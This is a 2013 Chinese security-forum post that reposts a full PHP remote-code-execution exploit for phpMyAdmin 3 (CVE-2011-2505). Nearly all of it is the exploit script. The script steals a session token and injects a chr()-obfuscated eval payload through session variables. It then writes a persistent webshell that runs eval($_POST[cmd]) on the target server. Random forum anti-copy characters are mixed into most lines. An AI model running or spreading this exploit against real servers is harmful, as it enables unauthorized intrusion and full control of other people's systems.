找回密码
 立即注册
查看: 2644|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
  p1 A0 w8 ]' N! ~- q4 ^% L/ u, a
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。: z% B& |' A& {7 `, b
5 h+ b% ~, s& N# e6 d, M
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:0 _) p) B" V/ B: |0 Z5 E4 o; }
一是session.auto_start = 1;7 ?) u! z4 o. Q$ R( `% \
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。& z8 ?" `5 s6 D5 d% Z# l4 w
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
( p7 E& F7 \' k% |2 B' f! w/ n4 ]
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。2 S" ?, {9 b! e
, T- N  d* `! O+ K8 X" b7 v8 I
于是写了这个php版本的exp,代码如下:9 \0 l9 {; K  v7 z# F

3 U3 y% J3 u. t: H9 c8 @( e#!/usr/bin/php
% k. m8 y! ~, H4 c# V% a<?php! D/ p* W6 Y$ l) [0 g& B- ?# u+ _
print_r('
. p  E, ~0 s6 i) a8 e: @% R  }+---------------------------------------------------------------------------+* I, ~! |  d2 D6 |8 ~' j/ P
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
7 R7 ^/ {! w5 w# wby oldjun(www.oldjun.com)
& q% h# s6 O6 b9 O' X6 \" @- Kwelcome to www.t00ls.net! l  X, h3 t$ U; U- \" C) \6 L$ J
mail: oldjun@gmail.com% a2 h0 {% r5 c9 B
Assigned CVE id: CVE-2011-2505) l) |. f+ W  R$ j
+---------------------------------------------------------------------------+
1 n! K5 A/ E5 d, u- d');6 i  [3 C  d' c1 A. X+ _

7 [% w. j9 g- }; f  \( W  R# ^; @& g/**% b- T% }7 ~% B/ L
* working when the directory:"config" exists and is writeable.
5 i0 o# V" c. h8 A1 q8 }7 j**/: I9 U, e' }1 |  s9 e/ D3 U' j

- y; p: g1 s, |( u6 P3 ^0 tif ($argc < 3) {
; s2 `2 _2 k1 K" W) V4 b! N    print_r('6 n- L. d- c* }4 V
+---------------------------------------------------------------------------+) b. f" Q9 {$ f4 \
Usage: php '.$argv[0].' host path
; k: W& u! e% F, Phost:      target server (ip/hostname)2 @* q# T6 y0 O! p) Y
path:      path to pma3
3 R' D0 ^7 y& }. I, h$ r0 VExample:6 e) @  k$ u* q& p3 d- O
php '.$argv[0].' localhost /pma/
. @3 c# o9 w# ^5 e8 A5 j( Z) D+---------------------------------------------------------------------------+
0 v0 V5 T2 W* H8 ?$ ^');
6 A8 ^4 U' J$ _* n) g  }$ `" o5 X    exit;$ I, O1 m9 t9 ?; w6 m9 D
}
" {) d# `: L: h. y$ L. L
2 K5 d2 x7 V3 Y. U$host = $argv[1];
/ }- k% Y* ^4 Z; Z! H, @/ X1 |* d. k1 o$path = $argv[2];, {+ D" W7 ?* e2 z7 N7 \
: ~9 L0 c  \! ]4 |7 ]& f
/**" P- ~; J- b4 l  N6 `; ~$ T
* Try to determine if the directory:"config" exists) D8 t; M; m% ]1 Y" L1 X' \+ \
**/7 Z" Z& r6 Q; M3 E) E: V
echo "[+] Try to determine if the directory:config exists....\n";8 {- ?  E' t" J( d7 @
$returnstr=php_request('config/');' h& k: [! x. f) z5 F8 d" H
if(strpos($returnstr,'404')){/ [: f$ O6 r% f1 A+ Y/ ]) e. Z
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
" v0 |, F& P  K, i! [}
* F  j* h/ P; |) \9 w) h
+ a( o/ A: ?! B4 m. t/ U6 m/**
* z+ w2 _7 ]2 D( M7 `+ b5 W * Try to get token and sessionid
" b( D% j5 O; L$ G**/3 [% d! d: A2 ]2 c+ T  D
echo "[+] Try to get token and sessionid....\n";1 z6 R" E# o$ n6 l7 C0 J
$result=php_request('index.php');' w# W0 u# M7 ~$ k# g/ b" C
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);+ |3 O; ^: R: F3 Q
$token=$resp[3];$ k* v, I/ Z/ ~) a# X8 `
$sessionid=$resp[1];
5 D( \1 k0 e! dif($token && $sessionid){* e! N# C) E: M4 G
    echo "[+] tokentoken\n";
/ W6 Q! d' e% ^# {$ `, Q4 o    echo "[+] Session IDsessionid\n";
8 l  Q2 U( ~; [  ?- q0 ~' _}else{
: p0 j! k# l$ V% b    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
9 f5 w( \' M' u2 s}& f+ w2 N+ C/ d/ `: u7 ?/ u0 C
- U9 x' k4 ]+ n, ?& G% P
/**
/ O- R9 E+ y) k* K( w6 a * Try to insert shell into session
5 T* V6 m0 }) P**/
6 s+ y& l" m1 N$ b" r  \! pecho "[+] Try to insert shell into session....\n";
4 u0 l+ Y# w* Z0 f: q$ K+ a7 u2 g8 Uphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
) q* \# X- M1 m8 K% E# i, x) k$ _. r$ E! ~  T! V7 L; P) [: U
/**& ]4 q. |4 P1 O  x' g, s2 \" |
* Try to create webshell
5 `& R8 y1 v+ H! j. K1 Q**/
' R4 ~) p+ i! {  c9 w) Secho "[+] Try to create webshell....\n";5 P: W) |# ]2 r# |
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
2 Z5 u+ p! @# E/*** G! [2 \; ~8 s
* Try to check if the webshell was created successfully
8 N9 U4 S( ^. L. c4 K**/
7 P" }2 o; U1 B. v( Pecho "[+] Try to check if the webshell was created successfully....\n";4 G" s* v2 c( m# z6 M, }
$content=php_request('config/config.inc.php');3 Z$ f1 X/ t* n% u+ q
if(strpos($content,'t00ls')){3 D# {% j8 w6 i. ^2 V' Y
    echo "[+] Congratulations! Expoilt successfully....\n";' h0 r0 U9 I0 F2 ]
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
7 ^3 m; N; a$ K6 z# a6 \% n+ I}else{
) @- B, [. v; [5 Z0 M( Y7 N    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
2 S8 a* v( o0 K  F; o. I* N}, }3 B1 |# W1 J, l& V
# L$ ?; j- M+ ?: {6 |' s, z4 T
function php_request($url,$data='',$cookie=''){
+ R6 Y9 ~3 }+ e# K4 O; A    global  $host, $path;1 f" g6 n' ~- s2 Q9 B
   
+ w6 M# z! i% p    $method=$data?'POST':'GET';- B$ C6 I  b- v6 \1 }) M; P& `, g
    5 z% ~; T2 w$ [
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
! A5 r. |) H: x: Z4 Q    $packet .= "Accept: */*\r\n";
4 j+ m, a/ F6 `  O3 f$ n    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
6 g1 l- k8 |) S. R8 C- l    $packet .= "Host: $host\r\n";
6 c1 z2 G* r  v4 J- B+ }    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";1 I) p0 J. ]% x+ I: t
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
# i9 X, s9 l+ d6 @    $packet .= $cookie?"Cookie: $cookie\r\n":"";; \; G, z3 i5 i. G9 M
    $packet .= "Connection: Close\r\n\r\n";; s& ~2 t# n9 D: L, H1 x
    $packet .= $data?$data:"";5 Y" m- }3 h" M5 W
0 U; ]3 N  h! X  U* ^! u5 O5 U
    $fp = fsockopen(gethostbyname($host), 80);
$ k4 Z) C: A4 }5 p" |    if (!$fp) {  _1 }4 d2 P# c/ @% B7 D
    echo 'No response from '.$host; die;
' Y/ R- x" p4 m, H' B2 G$ H    }
/ a, C7 s. N) S$ Y' k1 p6 {: R; a    fputs($fp, $packet);
4 ^2 n4 r, ?2 j- E' J" [; k- _8 N" W9 F
    $resp = '';
$ i2 w; _+ U+ A" e! ~. m, D5 d. v
4 N9 r  j6 `. U6 q. H' Z* t% B/ y    while ($fp && !feof($fp))
' i$ Q+ n1 n8 O+ A4 Y3 i1 ?& a        $resp .= fread($fp, 1024);
5 A& w3 j$ G4 }; t( ~
8 z' O1 V( b0 ^: g& Z! H    return $resp;+ s* Y; U3 t8 G/ Q/ W
}( d( E9 N" V5 R) `8 I2 a0 A
   
% X+ u4 g, d& k! `' X$ e5 ~: C?> ; e+ u* W' S  S
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表